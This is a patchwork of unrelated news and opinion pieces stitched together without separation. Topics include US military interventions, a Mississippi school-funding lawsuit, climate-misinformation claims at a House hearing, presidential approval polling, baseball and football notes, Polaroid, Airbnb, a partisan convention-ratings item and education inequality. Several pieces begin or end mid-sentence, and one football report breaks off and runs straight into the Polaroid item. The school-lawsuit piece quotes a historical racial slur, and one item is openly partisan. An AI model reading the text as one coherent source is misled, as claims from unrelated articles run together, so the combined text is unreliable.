Only one of those involvements could, arguably, have been said to have forestalled not an invasion, but a possible threat of invasion: World War II. Watching newsreel graphics of Germany’s drives across Europe, Northern Africa, and the USSR, and Japan’s across Asia and the Pacific, it was perhaps understandable that Americans believed the Axis powers would eventually come for them, especially after Pearl Harbor. However, that was a one-off attack by the Japanese to disable the US’s Pacific Fleet. To launch an invasion of the US, Japan, a smaller, less populated nation whose economy depended on imports of vital raw materials, including oil, would have had to cross the Pacific and fight the US, and undoubtedly Canada, on their home territories. The Pearl Harbor attack, provoking America’s entry into the war, proved a strategic blunder for the Japanese. An invasion would have been ludicrous. Similarly, Germany, up to its eyeballs in a two-front war, couldn’t conquer Russian winters or Great Britain across the English Channel. How was it supposed to either cross the Atlantic, or the USSR and hostile guerrillas, then the Pacific, and attack the US? That, too, would have been ludicrous.
The 9/11 attack was also a one-off. A majority of the attackers came not from a US enemy but rather a supposed ally, Saudi Arabia. They received funding and other support from people in that country and perhaps its government. A conventional war against a “state sponsor of terrorism” might have required war against Saudi Arabia; it is still not clear how involved its government was. That option was never considered. Rather, the Bush administration performed metaphysical gymnastics and launched the first war in history against a tactic: terrorism. Although the jihadists who perpetrated 9/11 were self-evidently not the vanguard of an invasion, the terrorism they employed was deemed a threat to US interests in the Middle East, and to life and property in the US. However, none of our subsequent involvements in Afghanistan, Iraq, Syria, Libya, Egypt, and Yemen have been necessary to maintain US citizens’ freedoms, the nation’s territorial integrity, or its lives and property.
There are undoubtedly many epitaphs on tombstones in this country to the effect: Here lies the deceased, who died defending America, and not one that reads: Here lies the deceased, who died defending American interests. However, the latter is in most cases more accurate than the former. Who decides the interests for which members of America’s military will die? Those considering entering the military today must look beyond the slogans, contemplate the risks of being killed, wounded, dismembered, paralyzed, or psychologically traumatized, and ask themselves: why and for whom are these risks being borne? “You don’t fight for your country, you fight for your government.” Is it worth risking one’s life for the US government?
In 1821, John Quincy Adams said America had not gone “abroad in search of monsters to destroy,” and while we wished those seeking liberty well, theirs was not our fight (see “In Search of Monsters,” SLL, 4/11/15). Since then, America has searched for monsters, found, and in some cases, destroyed them. However, as the poison of power has worked its evil on the minds and souls of those who possess it, the monsters have become more ethereal, apparitions conjured like creatures in the closet by children when they go to bed. The war on terrorism creates more terrorists, the monsters of choice since 9/11. The government still pays occasional lip service to “democratic values” and “civil liberties,” but allies itself with regimes which have no more fealty to those values and liberties than the “tyrants” the government opposes. “Defending America” and “Promoting Our Way of Life” have become transparent pretexts for American power and domination unbounded. As Adams so presciently warned, the search for monsters has turned the government itself into a monster, the biggest threat to Americans’ “inextinguishable rights of human nature.”A week after thousands gathered for the inaugural Women’s Convention in Detroit, Tamika Mallory’s words shouldn’t be forgotten.
“Black women are a key component to helping folks for the fight that we’re in,” the co-chair of the Women’s March told HuffPost days before the event.
Mallory, who started her activist work as a teen, spoke about the importance of centering not just the convention ― aptly themed “Reclaiming Our Time” in honor of Rep. Maxine Waters (D-Calif.) ― around women of color, but activism, period.
“I think that the importance of having black women centered in the conversation is because we know all too well what it looks like to be dealing with a plethora of issues and having to fight on many fronts,” she said, noting that this is especially important for organizers to understand in a time when many different identities are being targeted.
In January, the Women’s March and participants received backlash from folks who felt the demonstration wasn’t inclusive of women of color, despite the organization’s efforts to create an intersectional space. Others said that the majority of white women who attended were absent when it came to Black Lives Matter rallies.
To avoid similar roadblocks during the convention, organizers centered their focus on black and brown women. They intentionally set the convention in a city with a large black population and created a local host committee for local black women to organize. Along with some local voices, Waters, political commentator Symone Sanders and other women addressed attendees over the weekend.
Though the turnout was diverse, Mallory said it takes more than just showing up to make a difference. One challenge, for her, has been getting more black and brown people engaged in the fight.
Another challenge has been with white women who don’t utilize the power they have to change attitudes in their own homes and communities. She said they must understand that the issues that negatively affect them have an even harsher effect on women of color.
″Even though there are white women who are at the table, did not vote for Trump, who are wanting to work... they still don’t necessarily understand all of the issues,” Mallory told HuffPost. “We have to constantly remind them that those who will be impacted the most are generally people with brown skin or people who live in very poor communities.”
Ultimately, Mallory stressed the importance of everyone working together to uplift and fight for black and brown women.False claims popularized by the media in recent weeks were used as fodder in a Republican hearing to cast doubt on global warming.
The House Energy and Power Subcommittee interrogated cabinet officials Gina McCarthy and Ernest Moniz on Wednesday in a hearing that Organizing for Action dubbed "DenierPalooza." Committee members have accepted over $12 million from the fossil fuel industry in 2013 alone, and a majority are known to deny the science demonstrating manmade global warming. During the hearing, several false claims about climate change that originated in the media were repeated as fact.
An egregious claim advanced by British tabloid The Mail On Sunday was recited by Congressman David McKinley (R-WV) in an effort to claim that global warming isn't happening, asserting "Arctic ice has actually grown 60 percent." Congressman Ed Whitfield (R-KY) also cited the Mail, stating "I recently read an article that stated that the Arctic ice had nearly a million more square miles of ocean covered with ice than at this time of year."
However, these claims were based on a typographic error from the National Snow and Ice Data Center (NSIDC), later corrected. The NSIDC found the Arctic sea ice increase was actually half of what the Mail reported: about 500,000 square miles of ice were added to the Arctic from the previous year (not one million), an increase of 29 percent.
Regardless of this error, it is misleading to use these figures to argue that we are experiencing "global cooling" (as did the Mail On Sunday), as 2012 was a record low for Arctic ice, and some increase in ice extent was expected. Even with the increase, the August 2013 average sea ice extent was about 70 percent less than the 30-year average -- the Arctic is still experiencing rapid sea ice decline in the long-term, mostly due to global warming. Bob Ward of the Grantham Research Institute on Climate Change and the Environment concluded that the article was "deliberately misleading."
As misinformation from British tabloids about climate change has been magnified by American conservative media in the past several weeks, it was only a matter of time before inaccuracies permeated Congress and entered the political debate.PRINCETON, NJ -- Barack Obama's initial three-day average approval rating in the new year is 46%, higher than the ratings he received in most of the latter part of 2011. He was generally in the low 40% range from August through December, including monthly approval averages of 41% in August, September, and October, and 43% in November and December.
The current 46% rating for Obama, based on Jan. 2-4 polling, is one percentage point below his recent high three-day averages of 47% in Dec. 29-Jan. 3 and Dec. 21-23 tracking. The latter came during the standoff between the president and Senate versus the House Republicans over legislation to extend unemployment benefits and maintain lower payroll tax rates in 2012.
Prior to that, Obama had not had a three-day rating as high as 47% since early July. Obama registered several term-low three-day averages of 38% in August and October.
One reason for the increase in Obama's approval rating in the current polling could be the improvement in Americans' economic confidence in recent days.
Obama also had a relatively strong January last year, averaging 49% approval -- his second-highest 2011 monthly average after May's 50%.
Approval Rating an Important Gauge of Re-Election Chances
Obama's approval rating will be a critical indicator of his re-election chances this year. If he can sustain higher approval ratings through early November, his odds of winning a second term will increase. Gallup finds that all presidents since Eisenhower with approval ratings above 50% have won re-election easily. George W. Bush was re-elected in 2004 with 48% approval at the time of the election.
If Obama's approval rating reverts to the low 40% range, he would have a difficult time defeating a Republican in a two-candidate race.
One key to improving his approval rating and re-election chances is expanding his support among independents. Currently, 81% of Democrats, 42% of independents, and 10% of Republicans approve of Obama. By comparison, last January, when he had an overall monthly average of 49%, Obama's approval rating was 83% among Democrats, 47% among independents, and 13% among Republicans.
Implications
Obama's approval rating is showing some signs of improvement in the first few days of the new year, though it is unclear whether that will last. The modest bump in his approval right before Christmas disappeared after the holiday, and his approval ratings were generally in the low 40s in the week between Christmas and New Year's Day.
January brings challenges for Obama to maintain higher approval ratings, given that much of the political focus will be on the Republican nomination contest, with the GOP candidates seeking to point out Obama's shortcomings as president in order to help their chances of winning the nomination. However, later this month, Obama will have his own day in the spotlight as he delivers the State of the Union address, a unique opportunity for him to directly state his case for re-election to Americans.
Explore President Obama's approval ratings in depth and compare them with those of past presidents in the Gallup Presidential Job Approval Center.GOODYEAR, ARIZONA -- Scribbles in my notebook as the Tribe took Tuesday off:
1. Joba Chamberlain has pitched himself into position to grab a spot in the Tribe bullpen. The former Yankees top prospect came to camp on a minor league contract. He signed with the Indians on December 1 and reported to Goodyear in January to work on getting in shape. Chamberlain gave up three runs in his second spring outing. Since then, he's pitched five times... five scoreless innings.
2. Manager Terry Francona on Chamberlain: "He's had an excellent camp. He came out (to Arizona) early and spent a lot of time getting in really good shape for this season. He is an unbelievably good teammate... it's exciting to see how he can potentially help us."
3. Chamberlain is only 30. Early in his career, he was a starting pitcher with the Yankees. He had elbow reconstruction surgery in 2011 and has pitched out of the bullpen for the last six years. He's been very inconsistent, and tended to gain weight. He was released by Detroit and Toronto last season. He ended up with Kansas City, and the Royals had no interest in signing him for 2016.
4. It seems the decline has caught his attention. The Indians and pitching coach Mickey Callaway have a reputation for helping pitchers in times of trouble. In 2013, they did that for Ubaldo Jimenez and Scott Kazmir. Last spring, Jeff Manship was in camp on a minor league deal. He opened the season at Class AAA Columbus, then came to Cleveland where he had a 0.92 ERA in 39 innings as a reliever. Cleveland was Manship's fourth big league team. It's the first place where he's had success.
5. The Indians could not have asked for a better spring performance from rookie Tyler Naquin. At the start of training camp, the Indians challenged the players to give the team a reason to notice them. The rookie has done just that and is on track to start in center field once the season the opens. Naquin is hitting.400 (1.090 OPS) with two doubles and three triples.
6. The other outfielders who came to camp on one-year, big league deals or minor league contracts have struggled. This has made Naquin look even better. Terry Francona stresses that he must take more than spring training into account when picking the team. The Tribe front office is thrilled to watch Naquin, because he's playing like he did when healthy in the minors. He is not a power hitter, but batted.300 over the last two minor league seasons between Class AA and Class AAA.
7. While he was 0-for-3 in Monday's 9-4 victory over the White Sox, Naquin made a nice running catch in center field. He also hit a rocket to left field that was caught, robbing him of a double. With Abraham Almonte suspended for 80 games for flunking a test for PEDs, the door to center field is wide open. Only Naquin is taking advantage of it.
8. The Indians are looking for offense and that's why Marlon Byrd can make the team, even though he didn't arrive until March 19. A couple Tribe people were telling me how they are impressed with how Byrd just stepped into the batter's box and looked so comfortable right away. He is a player with some holes in his swing and won't win a Gold Glove in right field, but he has hit at least 23 homers in each of the last three seasons.One is predominantly white, one is predominantly African American. The education, and outcomes, for students vary wildly. A lawsuit is exposing the reasons why
Two summers ago, Indigo Williams couldn’t have been more thrilled to send her son off for his first day of school.
Her home was zoned into Madison Station elementary school in Madison, Mississippi, an “A” rated school and district where her son JS, then five, quickly dove into Kindergarten with enthusiasm. JS was taking Taekwondo lessons and was served fresh fruits and vegetables in the cafeteria. He had access to tutoring.
But when Williams and her children moved just a few miles away before the start of the following school year, her home was instead zoned to an elementary school in the Jackson, MS school district. She was horrified to see just how dramatic the difference could be.
Now attending Raines Elementary, Williams says JS’s environment “feels more like a jail than a school. Paint is chipping off the walls. They’ve served him expired food in the cafeteria,” she said.
“There are no extracurricular activities available for my son, no art or music class or even afterschool tutoring. There are not enough textbooks for him to take home or even for students to use in the classrooms, and the books that are in the classroom are outdated,” Williams added.
She worries that JS is growing bored with his classwork, and that the school doesn’t have the resources to challenge him or make learning interesting. “I’m afraid he’s falling behind other kids in better schools,” Williams said.
But Williams hasn’t just sat by and watched as her son’s quality of education deteriorated. She – and three other black Mississippi mothers – have put themselves and their young children at the centre of a lawsuit that argues the state has reneged on 150 year-old promise to offer a “uniform system of free public schools”.
The lawsuit, filed by Southern Poverty Law Center on behalf of the mothers, is about quality of education, but there is also a broader context reflected in the make-up of the student population in the two schools that JS has attended. The pupils at Raines School pupils are 99% black. The pupils at Madison Station school are 70% white. And in a state where, in the years after Brown v Board, the landmark 1954 US Supreme Court decision that outlawed segregation in schools, public officials in Mississippi considered shutting down public schools all together to avoid integration, race is never far from view.
“This case is about quality of education and making sure that quality is uniform no matter what color your skin is or where you live,” said Will Bardwell, an attorney for SPLC. “Mississippi gutted education rights over years and years to avoid integration, to the extent that they are now non-existent. We want to change that.”
Mississippi Goddam
By virtually any metric you choose, Mississippi has among the worst education systems in the US. In a July study, researchers using a 13-point quality rubric ranked the state 49 out of the 50 states and Washington DC.
Mississippi is also, by both median income and poverty level, the poorest state in the country.
This is no coincidence, of course. Because US public school are almost exclusively funded by state and local tax dollars, the amount of resources any given school has is almost wholly a function of how wealthy the people who live nearby are.
The Madison Station elementary school where JS began his student career is, by car, about 20 minutes north of Raines – but it isa universe apart. Elaborate gated mansions with circular driveways dot the road to the school which passes through expansive stretches of verdant green Mississippi pasture. Near the end of the school day, a fleet of immaculate saffron and black buses pull up to the building.
The environment mirrors the performance. In 2010 Madison Station was a National Blue Ribbon School, a Department of Education designation made to high performing schools. Some 72.6% of students are proficient in reading and 70.5% are proficient in math – well above the state average. In 2013, less than 9% of the school’s teachers were in their first year of teaching.
Down the road at Raines, 20% of teachers are in their first year. Only 11% of students are proficient in reading and just 4% in math.
The stark difference in racial makeup of the student populations is nothing new in the US of course, and nothing particularly specific to Mississippi. US schools are, on balance, more segregated today than they were 45 years ago.
Facebook Twitter Pinterest JS (left) is now going to Raines elementary, where ‘the classrooms are too small for the number of students they put in them’. Photograph: Roy Adkins/SPLC
“Resegregation is not a Mississippi specific problem. It’s a nationwide problem, and that’s part of the reason this case isn’t really about segregation. It’s more about disuniformity,” Bardwell said.
The suit itself never actually mentions the term “segregation” and instead zeroes in on the language enshrined in the state’s first constitution, ratified in 1869, and approved by the US congress:
“It shall be the duty of the legislature to encourage by all suitable means the promotion of intellectual scientific moral and agricultural improvement by establishing a uniform system of free public schools by taxation or otherwise for all children between the ages of five and 21 years.”
That was then. But this bold promise of “uniform” compulsory education is no longer a part of the state’s constitution. The language has been progressively eroded in each of four updates over the ensuing 120 years. The most recent revision in 1987 has no mention of any commitment to a “uniform” quality of education – instead it promises “the establishment, maintenance and support of free public schools upon such conditions and limitations as the Legislature may prescribe”.
In other words, the promise amounts to virtually nothing – when it comes to education, the state legislature can do literally whatever it wants, so long as there are some free public schools.
This change to the language – and the nature of the promise the state makes about education – is at the heart of the suit and goes to the core of Mississippi’s troubled racial history and its relationship to the union. Concerned that the former Confederate territory would pass one type of constitution to reenter the union, and then modify it to deny rights to black Americans as time went on, the US congress passed the Mississippi Readmission Act. This was passed specifically to target any prospect that Mississippi would slip-slide on its obligations to its non-white residents once it had reentered the union. The readmission act, which technically remains federal law, states that:
“The constitution of Mississippi shall never be so amended or changed as to deprive any citizen or class of citizens of the United States of the school rights and privileges secured by the constitution of said State.”
Bardwell says that, insofar as the state once guaranteed uniform schools, and now does not, it has been in violation of the Readmission act.
“The point that we have made in this lawsuit is that regardless of the racial composition of your school is, federal law required Mississippi to provide the same opportunity at every school and that’s just not happening.”
And if the historical record is clear about one thing, it’s that the changes to Mississippi’s constitution after readmission were intended to do one thing: disenfranchise the state’s black citizens. “There is no reason to equivocate or lie about the matter,” said former Mississippi governor James Vardaman of the 1890 constitutional convention that amended the constitution and first modified the educational guarantees. “It was held for no other purpose than to eliminate the nigger from politics.”
He would know. Vardaman was one of the authors of the modified language, and those remarks were hardly out of character. On another occasion he opined blithely the “best way to control the nigger is to whip him when he does not obey without it”.
Black disenfranchisement was so effective in post-reconstruction Mississippi that Vardaman and his white supremacy ideology ascended to the state’s highest office during a century-long period where black Mississippians substantially outnumbered white ones. The state remains the one with the highest concentration of black Americans today.
The state also endures with the unofficial reputation as the nation’s most racist. It has some claims to that title. It was here that 14-year-old Emmett Till was murdered for the imagined crime of hitting on a white woman in 1955. It was here that civil rights icon Medgar Evers was martyred in his own driveway in 1963, and it was here that, one year later, during the Mississippi Freedom Summer campaign, activists James Chaney, Andrew Goodman & Michael Schwerner were murdered for the offense of registering black people to vote. The state’s preeminence in racial violence was perhaps most viscerally captured in Nina Simone’s 1964 tune, Mississippi Goddamn. Throughout the civil rights movement the state became the embodiment of white supremacy resistance.
‘A quality teacher in every classroom’
Facebook Twitter Pinterest Precious Hughes and her children. Photograph: Roy Adkins/SPLC
Raines elementary is tucked in a residential stretch on the northwestern side of Jackson’s outskirts. There are no mansions here, but instead, humble L-shaped bungalows in various states of maintenance and disrepair. The school’s interior has the look of a place where educators and staff do what they can with what little they have. The floors are sparkling clean but on the corners they show the telltale decay of repetitive flood damage. On the wall, a colorful sign with construction-paper butterflies encourages students that “learning is an adventure”, sitting below ceiling tiles that are all discolored and crumbling on their edges.
“The school building is old, dark, and gloomy,” said Precious Hughes, the mother of a first-grader and a kindergartener at Raines. “The children are always bumping into each other because the classrooms are too small for the number of students they put in them.”
Real estate database Zillow rates the school as a one out of 10. School ranking website Schooldigger rates it as a zero out of five, and the 25th worst elementary school in the state.
And that type of performance is characteristic of predominantly black schools throughout the state. In Mississippi schools where the student body is at least 70% black, the average rating is D, for schools where the student body is at least 70% white, that slides up to a B.
Hughes said her oldest daughter, six, is in the majority of Raines pupils who struggle with reading. “Early on, Raines offered the Read Well program to help students boost their reading skills. That helped my daughter tremendously and improved her reading scores. But the program was shut down because there was not enough funding to pay for it,” Hughes said.
Hughes and Williams both also worry about overall teacher quality. One in five at Raines are in their first year of teaching, compared with one in 11 at Madison Station.
“The rubber meets the road at a quality teacher in every classroom,” said Tom Taylor, assistant superintendent of schools in nearby Yazoo County. “If that could ever be provided to every child in the state, or this nation for that matter, then that’s where you begin to see the progress.”
The way it’s been for a long time in Mississippi
The latest twist in the lawsuit is that the state filed a motion to dismiss it in July and released a statement calling the suit “cynical and misguided”, accusing Bardwell and the SPLC of an attempt “to fundraise on the backs of Mississippi taxpayers”.
Among their arguments for dismissal, the state said that even if you grant that the state were in violation of the Readmission act, the legal question would be whether the state should lose representation in Congress rather than one about how the state educates students.
“Of course, Mississippi has continued to be admitted to representation in Congress for nearly 150 years after the Readmission Act, [and] 127 years after the 1890 amendments to the State Constitution,” the motion notes.
Bardwell finds that response underwhelming. “The fact that this is the way it’s been for a long time in Mississippi doesn’t settle the question,” he said.
The state also argued that student performance might have nothing to do with state policies or funding levels at all, accusing the plaintiffs of ignoring the “many other factors that contribute to literacy and education – such as resources, parental involvement, medical problems, intellectual limitations, domestic violence [and] trauma.”
Bardwell called this argument “outrageous” and said the the four mothers in this suit were “doing everything they can” to see their kids succeed in school.
“I would defy anyone with the state of Mississippi to sit down with these parents, talk to them and come away with the impression that those parents are not,” Bardwell said.
“Just like every other parent in this state, I love my child,” Hughes said. “I know she deserves better, and that is why I’m filing this lawsuit.”Saudi emergency personnel stand near bodies of Hajj pilgrims killed in a a stampede near Mecca, September 24, 2015.
Saudi Arabia's top cleric heightened the Kingdom's rhetoric against Iranians, saying they are "not Muslims," a day after Iran's supreme leader said Saudi authorities had "murdered" Muslim pilgrims who were injured during last year's crush at the hajj pilgrimage.
Grand Mufti Abdulaziz Al Sheikh was quoted Tuesday by Makkah newspaper as saying that Ali Khamenei's accusations are "not surprising" because Iranians are descendants of Zoroastrians and are therefore "not Muslims." He says their "enmity to Islam, especially the Sunnis, is very old."
The majority of Iranians are Shi'ite Muslims, while most in Saudi Arabia are Sunni.
The 2015 hajj incident killed at least 2,426 people, according to an Associated Press count. Iran had the highest of death toll of any country, with 464 Iranian pilgrims killed.CHI-DET grades: Lions' secondary steps up in win over Bears
By Khaled Elsayed • Dec 11, 2016
Detroit Lions 20, Chicago Bears 17
Here are the top-graded players and most noteworthy performances from the Lions’ Week 14 victory over the Bears.
Quarterback grade: Matt Barkley, 81.6
Barkley offers evidence to warrant investment
When you watch a fourth-round pick in his fourth pro season making only his third start, you expects to see a lot of things. You expect turnovers. You expect skittish play. You expect to be underwhelmed. But for the third week in a row, Matt Barkley gave evidence that he could be the guy for some team, with a blend of composure and accuracy that nearly led the Bears to a victory. The stats aren’t always pretty with him (you can thank his receivers), but he’s been more than serviceable so far.
Top offensive grades:
C Cody Whitehair, 87.4
QB Matt Barkley, 81.6
LG Josh Sitton, 80.1
LT Charles Leno, 77.8
TE Daniel Brown, 76.7
Bears’ offensive line looking the part
Although there will be no postseason football in Chicago, the Bears can be encouraged by their development along the line. Despite still missing stud guard Kyle Long, they opened big holes for RB Jordan Howard, making life easier for their QB. The highlight is center Cody Whitehair, who had perhaps the best game of his excellent rookie year. He has the athleticism to get position on reach blocks, and the technique and power to maintain it. Get Long back next year, and if the Bears can improve at tackle, we’ll be looking at one of the better lines in the league.
Top defensive grades:
LB Nick Kwiatkoski, 88.6
CB Cre’Von LeBlanc, 88.3
OLB Leonard Floyd, 83.1
DE Akiem Hicks, 79.6
OLB Pernell McPhee, 79.2
Chicago’s rookies shine in valiant effort
For the most part, the Bears were awful on defense last season. Outside of good rookie seasons from Adrian Amos and Eddie Goldman, and strong play from Pernell McPhee, there wasn’t a lot to like. That’s not the case this year, and you get the feeling they’re building something that could be pretty special. Today was the turn of Leonard Floyd (team-best nine pressures) and Nick Kwiatkoski (team-best five defensive stops) to show that the future is bright. Throw in Cre’Von LeBlanc making plenty of plays (two pass breakups to go with his pick-six), and there’s a lot to be excited about.
Quarterback grade: Matthew Stafford, 76.2
Matthew Stafford shows character to lead Lions to victory
There was an awful lot to like about Stafford on Sunday. He was accurate and worked the short and intermediate areas well. But as good as he was in that game, it was ultimately his legs (87.9 run grade) that bailed the Lions out—and prevented his pick-six from being the defining moment of the game. That could have been a back-breaking score to give up, but |
the end of the year, Bloomberg News reports.
The company, which will concentrate on digital cameras and printers, filed for Chapter 11 bankruptcy protection in 2001 and was acquired by a private investment company in 2005. It started in 1937 making polarized lenses for scientific and military applications, and introduced its first instant camera in 1948.
The Lede remembers fondly how magical it was to watch the image gradually manifest itself from the chemical murk right there in your hand. But truth be told, the Lede’s own scuffed Polaroid SX-70 camera, which used to get regular use in all manner of situations, from producing a quick step-by-step primer on how to do the Ickey Shuffle to documenting a problem with a house he was buying that cropped up the day before the closing, hasn’t come out of its cabinet drawer in years.
Loyal users take heart, though — Polaroid said it would happily license the technology to other manufacturers should they want to go on supplying the niche market with film after 2009.Airbnb is opening its first engineering center outside of San Francisco.
The Bay Area hospitality company announced today that it is expanding its existing office in Portland to include product and engineering teams. This marks the first time Airbnb will have engineers, product managers, designers, usability researchers, and data scientists outside of its headquarters.
About a year ago, Airbnb opened a North American operational headquarters in downtown Portland at the Blagen Block building. There are now 200 people working there, largely focused on customer experience.
Now, Airbnb will now add a small group of engineers and designers to its Portland office, with plans to grow the team in the future.
“Portland has an incredible sense of community and a fast-growing tech scene, which is why we’re very excited that Portland will host our first product and engineering office outside of our San Francisco headquarters,” Mike Curtis, vice president of engineering at Airbnb, said in a statement. “We look forward to expanding our team and to building a new home in the Pacific Northwest.”
The company did not comment on whether it plans to open an engineering center in Seattle, where tech giants like Google, Twitter, Salesforce, Uber, Lyft, and others all have offices. Google also has a Portland office, which recently expanded, as does Salesforce, eBay, New Relic, and others. Amazon now has a presence in the city after acquiring Elemental Technologies for $296 million in October.
Airbnb’s service, which lets people rent out their apartments and homes to travelers, was legalized in Portland in July 2014. Four months prior to that, Airbnb also picked Portland to be its first “Shared City,” part of an initiative “to help civic leaders and our community create more shareable, more livable cities through relevant, concrete actions and partnerships.”
Here’s a look inside Airbnb’s Portland office:HILLARY GETS THUMPED BY TRUMP – And Her Acceptance Speech Has 7.7 Million Fewer Viewers Than Obama in 2012
Donald Trump thumped Hillary Clinton this year in acceptance speech viewers.
Trump averaged 32.2 million viewers during his nomination speech while Hillary averaged only 28 million viewers.
The LA Times reported:
Nearly 35 million TV viewers watched GOP presidential nominee Donald Trump’s acceptance speech Thursday night at the Republican National Convention. Nielsen reported that an average of 32.2 million viewers watched across the ad-supported networks that carried the speech between 10 and 11:45 p.m. ET. An additional 2.65 million viewers were tuned in on PBS from 10 to 11:30 p.m. ET.
Not only did Hillary Clinton lose to Donald Trump, the Democratic nominee had 7.7 million fewer viewers than Barack Obama did back in 2012.
Politico reported:
An average of approximately 28 million viewers watched Hillary Clinton’s acceptance speech on the final night of the Democratic National Convention Thursday evening, according to preliminary ratings data from Nielsen. For comparison, 30 million watched the final night of the RNC last week in the preliminary ratings, and 35.7 million watched the final night of the DNC back in 2012.
That’s not all.
Hillary Clinton received 1,594,720 FEWER primary votes than in 2008… And she LOST the primary in 2008.
And Democrats lost NEARLY 7 Million primary votes this year compared to 2008.
Nielson Media Research final numbers on ACCEPTANCE SPEECH: TRUMP 32.2 MILLION. CLINTON 27.8 MILLION. Thank you! — Donald J. Trump (@realDonaldTrump) July 31, 2016Hatsune Miku: Project Diva X adds “Ai no Uta,” “Mrs. Pumpkin no Kokkei na Yume,” more
Live Quest Mode adds new elements feature.
Famitsu this week reveals a new details, songs, and modules for Sega’s upcoming rhythm game Hatsune Miku: Project Diva X.
The new songs and modules include:
Songs “Ai no Uta” (LamazeP)
“Lost One no Goukoku” (Neru)
“Mrs. Pumpkin no Kokkei na Yume” (Hachi)
“Tsugihagi Staccato” (Toa)
“Nounai Kakumei Girl” (Maretu) Modules “Hatsune Miku V3”
“Astray”
“Pumpkin Dream”
“Pizzicato”
“Ambivalence”
Hatsune Miku: Project Diva X‘s new “Live Quest Mode” will see players collecting “Voltage” to clear quests. Bonuses are more likely to occur when equipping characters with modules and accessories of certain elements. Elements consist of “Neutral,” “Cute,” “Cool,” “Beauty,” and “Chaos.”
Hatsune Miku: Project Diva X is due out for PS Vita in Japan in March 2016 and for PlayStation 4 in fall 2016.
Thanks, Hachima Kikou.Michael Perelman teaches economics at California State University at Chico and is the author of fifteen books, including Manufacturing Discontent: The Trap of Individualism in Corporate Society (Pluto Press, 2005) and Railroading Economics: The Creation of the Free Market Mythology (Monthly Review Press, 2006). This essay is from his forthcoming Fouling the Nest: How Right-Wing Extremism and Business Incompetence Destroy American Prosperity.
Education is an essential part of modern economic progress, yet in recent decades, the right wing has consistently been unfriendly to public education. For example, the Walton family’s donation of $20 billion to help conservative causes was weighted toward the privatization of public education. The right wing expresses a number of objections to public education. Some religious conservatives protest that public education collides with their most cherished theological beliefs. The most public examples are sex education and the gap between the scientific explanation of evolution and a fundamentalist religious belief about God’s creation of the world.
The financial community looked forward to the establishment of educational maintenance organizations, so named to suggest that profit oriented schools would prosper in an education market, much like the health maintenance organizations (HMOs) that have taken over much of the medical care in the United States. Given the abominable reputation of the HMOs, the publicists for privatized education, with their eyes on skeptical public opinion, strategically renamed the educational maintenance organizations as educational management organizations.
Public education made an equally inviting target for politicians, who enthusiastically scored points with their constituents by expressing deep concern for the children left behind. The same business and political leaders who cynically decry the sorry state of public education are largely responsible for the problem that they now call upon private education to solve. They callously starved public education of needed support. Some continue to do so with glee.
Because schools that serve blacks tend to be substantially inferior to schools that serve affluent whites, many blacks have understandably lost faith in the public school system. The appeal to some blacks of the privatization of education is understandable. Although segregation is unconstitutional in the United States, it remains embarrassingly common in schools. This separation is more economic than racial, but black populations tend to be concentrated in poor areas. Public schools largely depend upon local property taxation. Because schools that serve the poor are generally located in areas with low property values, poor children rarely get the same educational opportunities as children from more affluent families.
For example, in 1989, Chicago spent some $5,500 for each student in its secondary schools, compared to some $8,500 to $9,000 for each high school student in the highest spending suburbs to the north. In New York during 1986–87, funding per student was $11,300 in the upper-middle-class Long Island suburbs of Manhasset, Jericho, and Great Neck; $6,400 in the largely working-class suburb of Mount Vernon; and $5,600 in the high-minority New York City public schools. Three years later, the figures were $15,000, $9,000, and $7,300 respectively. Although the proportionate change was equal, the absolute changes favored the already rich districts.
Even if poor, urban schools within a particular school district were to receive nearly equal funding, they still must spend their resources differently. Schools that service poor students have more need for special education, counseling, security, and so on. To make matters worse, because teaching in poor schools is frequently more challenging than teaching in more affluent settings, many more experienced teachers prefer to teach in suburban schools, leaving impoverished schools with a greater proportion of less qualified instructors. For example, teachers in schools with a large share of minority students are less likely to have a master’s degree. Higher salaries could attract more qualified teachers to those schools, but such funding is nowhere on the horizon.
Suburban schools are generally newer, while inner city and, to a lesser extent, rural schools are often in a state of disrepair. As a result, the poorer school districts face higher costs of operating their physical plant than the more affluent suburban schools. For example, a General Accounting Office report to Congress noted that “one third of the nation’s 80,000 public schools are in such poor repair that the fourteen million children who attend them are being housed in unsuitable or unsafe conditions.” Jonathan Kozol described a rather extreme instance: the Martin Luther King Junior High School in East St. Louis, Illinois, where sewage repeatedly backed up into the school, including the food preparation area.
In California, a state often equated with perpetual prosperity, many students have appallingly limited educational opportunities. The American Civil Liberties Union filed a suit, Williams et al. v. State of California (1999), which charged:
Many students lack textbooks of any kind. Other students must rely on illegible or incomplete photocopies provided by teachers when and if teachers have time and the individual resources to make the copies….Sometimes three or four students to a book with no opportunity to take the book home and study for homework….Sometimes as few as 13 percent of the teachers have full non-emergency teaching credentials….Some California public schools…simply do not provide enough basic supplies, such as pencils, crayons, paper, and scissors.
These educational inequalities are inexcusable. Rather than immediately addressing these inequities, for years the state wasted scarce resources in fighting the suit.
The children of the poor lack virtually every conceivable advantage over and above those already mentioned. Poor children are more likely to grow up amidst greater family tensions, have poorer nutrition, and suffer from serious health problems, including lead poisoning, which affects mental abilities. Their connections and their role models all fall well short of those of the well-to-do. Where children grow up with the disadvantages of poverty, go to impoverished schools, and get virtually no feedback, they are unlikely to develop the sort of skills that legal market forces will reward. Obviously, conventional roads to success are unlikely to be open to them.
A simple psychological experiment illustrates the deep inequities built into the educational system. A pair of psychologists gave teachers the results of a test that supposedly predicted which students would be “late bloomers.” The test proved remarkably accurate, except that there was no test at all. Instead, the psychologists just chose students at random. The teachers’ acceptance of these results strongly affected the way they treated their students. The students, in turn, responded positively, and this helped lead to educational success, except for the majority of students who were not predicted to succeed.
Class background creates something analogous to the fictitious test that purported to measure children’s ability to improve in the near future. Teachers immediately recognize the stigmas of lower-class life in their students, especially if the children entrusted to their care are not white. Teachers have little reason to expect such children to succeed. After all, relatively few of such children have succeeded in the past. The children, in turn, are likely to perform according to the teachers’ low expectations, confirming what the teachers believed all along.
Even the successes, such as those resulting from the “late bloomer” experiment, may only be temporary. Herbert Kohl’s heart wrenching book, 36 Children, tells the story of how a gifted teacher recognized students’ potential and inspired them to excel. The rest of the educational system then worked to snuff out the children’s earlier successes, possibly making them worse off than if they had been consigned to failure all along.
Critics of public education ignore the lost potential of young people destroyed by such inequities; instead they berate the educational system for bloated administrative structures that do little to promote education. They never mention that a never ending flow of mandates accounts for a good part of this administrative bureaucracy.
